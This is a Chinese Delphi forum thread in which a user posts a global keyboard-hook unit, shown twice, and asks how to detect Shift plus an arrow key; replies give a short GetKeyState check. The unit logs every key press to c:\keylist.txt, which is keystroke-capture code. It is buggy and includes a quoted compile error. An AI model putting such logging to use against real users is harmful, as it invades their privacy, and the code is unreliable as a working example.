下面是监控键盘的的钩子代码,哪位赐教我一下,如何当同时按下shift和方向键时有个标记
unit hkproc;
interface
uses
Windows,Messages,SysUtils, Variants, Classes, Graphics, Controls, Dialogs, StdCtrls;var
f :file of char;
c :char;
i :integer;
j :integer;
hNextHookProc : HHook;
procSaveExit : Pointer; keyList:tstringlist;function KeyboardHookHandler(iCode : Integer; wParam : WPARAM; lParam : LPARAM) : LRESULT;
function EnableHotKeyHook : BOOL;
function DisableHotKeyHook : BOOL;
procedure HotKeyHookExit;implementationfunction KeyboardHookHandler(iCode : Integer;
WParam : WPARAM;
lParam : LPARAM) : LRESULT;
const
_KeyPressMask = $80000000;
begin
Result :=0;
if iCode <0 then
begin
Result :=CallNextHookEx(hNextHookProc,iCode,
wParam,lParam);
Exit;
end;
if((lParam and _KeyPressMask)<>0) then
begin
i:=getkeystate($10); //返回Shift键的状态
j:=getkeystate($14); //返回Caps Lock键的状态
if((j and 1)=1 )then //判断CapsLock是否按下
begin
//判断Shift 是否按下
if ((i and _KeyPressMask)=_KeyPressMask) then
begin
if (wparam<65) then //判断是字母键还是数字键
c:=chr(wparam-16)
else
c:= chr(wparam+32);
end else
begin
if (wparam<65) then
c:=chr(wparam)
else
c:=chr(wparam);
end
end else
begin
if ((i and _KeyPressMask)=_KeyPressMask) then
begin
if (wparam<65) then
c:=chr(wparam-16)
else
c:= chr(wparam);
end else
begin
if (wparam<65) then
c:=chr(wparam)
else
c:=chr(wparam+32);
end;
//seek(f,FileSize(f));
//write(f,c); //将捕获的键码存入文件
keylist.Add(c);
end;
end;
end;function EnableHotKeyHook:BOOL;
begin
keyList:=tstringlist.Create;
keylist.Clear; Result:=False;
{
[DCC Error] hkproc.pas(78): E2009 Incompatible types: 'Calling conventions differ'
}
if hNextHookProc < 0 then exit;
hNextHookProc:=SetWindowsHookEx(WH_KEYBOARD,@KeyboardHookHandler,Hinstance,0);
Result:=hNextHookProc = 1;
end;function DisableHotKeyHook:BOOL;
begin
if hNextHookPRoc < 0 then
begin
UnhookWindowshookEx(hNextHookProc);
hNextHookProc:=0;
Messagebeep(0);
Messagebeep(0);
end;
keyList.SaveToFile('c:\keylist.txt');
keyList.Free;
Result:=hNextHookPRoc=0;
end;procedure HotKeyHookExit;
begin
if hNextHookProc < 0 then DisableHotKeyHook;
close(f); //关闭文件并自动解除挂钩
ExitProc:=procSaveExit;
end;end.
unit hkproc;
interface
uses
Windows,Messages,SysUtils, Variants, Classes, Graphics, Controls, Dialogs, StdCtrls;var
f :file of char;
c :char;
i :integer;
j :integer;
hNextHookProc : HHook;
procSaveExit : Pointer; keyList:tstringlist;function KeyboardHookHandler(iCode : Integer; wParam : WPARAM; lParam : LPARAM) : LRESULT;
function EnableHotKeyHook : BOOL;
function DisableHotKeyHook : BOOL;
procedure HotKeyHookExit;implementationfunction KeyboardHookHandler(iCode : Integer;
WParam : WPARAM;
lParam : LPARAM) : LRESULT;
const
_KeyPressMask = $80000000;
begin
Result :=0;
if iCode <0 then
begin
Result :=CallNextHookEx(hNextHookProc,iCode,
wParam,lParam);
Exit;
end;
if((lParam and _KeyPressMask)<>0) then
begin
i:=getkeystate($10); //返回Shift键的状态
j:=getkeystate($14); //返回Caps Lock键的状态
if((j and 1)=1 )then //判断CapsLock是否按下
begin
//判断Shift 是否按下
if ((i and _KeyPressMask)=_KeyPressMask) then
begin
if (wparam<65) then //判断是字母键还是数字键
c:=chr(wparam-16)
else
c:= chr(wparam+32);
end else
begin
if (wparam<65) then
c:=chr(wparam)
else
c:=chr(wparam);
end
end else
begin
if ((i and _KeyPressMask)=_KeyPressMask) then
begin
if (wparam<65) then
c:=chr(wparam-16)
else
c:= chr(wparam);
end else
begin
if (wparam<65) then
c:=chr(wparam)
else
c:=chr(wparam+32);
end;
//seek(f,FileSize(f));
//write(f,c); //将捕获的键码存入文件
keylist.Add(c);
end;
end;
end;function EnableHotKeyHook:BOOL;
begin
keyList:=tstringlist.Create;
keylist.Clear; Result:=False;
{
[DCC Error] hkproc.pas(78): E2009 Incompatible types: 'Calling conventions differ'
}
if hNextHookProc < 0 then exit;
hNextHookProc:=SetWindowsHookEx(WH_KEYBOARD,@KeyboardHookHandler,Hinstance,0);
Result:=hNextHookProc = 1;
end;function DisableHotKeyHook:BOOL;
begin
if hNextHookPRoc < 0 then
begin
UnhookWindowshookEx(hNextHookProc);
hNextHookProc:=0;
Messagebeep(0);
Messagebeep(0);
end;
keyList.SaveToFile('c:\keylist.txt');
keyList.Free;
Result:=hNextHookPRoc=0;
end;procedure HotKeyHookExit;
begin
if hNextHookProc < 0 then DisableHotKeyHook;
close(f); //关闭文件并自动解除挂钩
ExitProc:=procSaveExit;
end;end.
解决方案 »
- 各位大侠救救偶!
- TDrawGrid问题?
- cxgrid中怎么加入行号?怎么固定行号
- 记录显示问题
- SQL删除语句问题????
- 请问有关StringGrid的问题,多谢!^_^
- 我想做安装程序,不会装载配置文件(BDE和三层ADO连接、SQL Server数据库后台)请大家帮忙!
- 做数据软件是否必要对access 2000 的数据文件进行加密?
- ★★★请问如何给动态生成的菜单和子菜单加图标★★★
- 暂别Delphi,用VC,心情不好不坏,散分!给前10人!~
- delphi 数据库编程创建数据表,表名可以是变量吗?变量应该怎么表示阿。谢谢
- 三层架构问题,如何捕获服务端TSQLQuery的open异常
if (GetKeyState(VK_SHIFT)<0) and (wparam=方向键的值) then
if (GetKeyState(VK_SHIFT)<0) and (wParam in [Ord(VK_LEFT),Ord(VK_RIGHT),Ord(VK_UP),Ord(VK_DOWN)]) then
begin
//你的处理
end;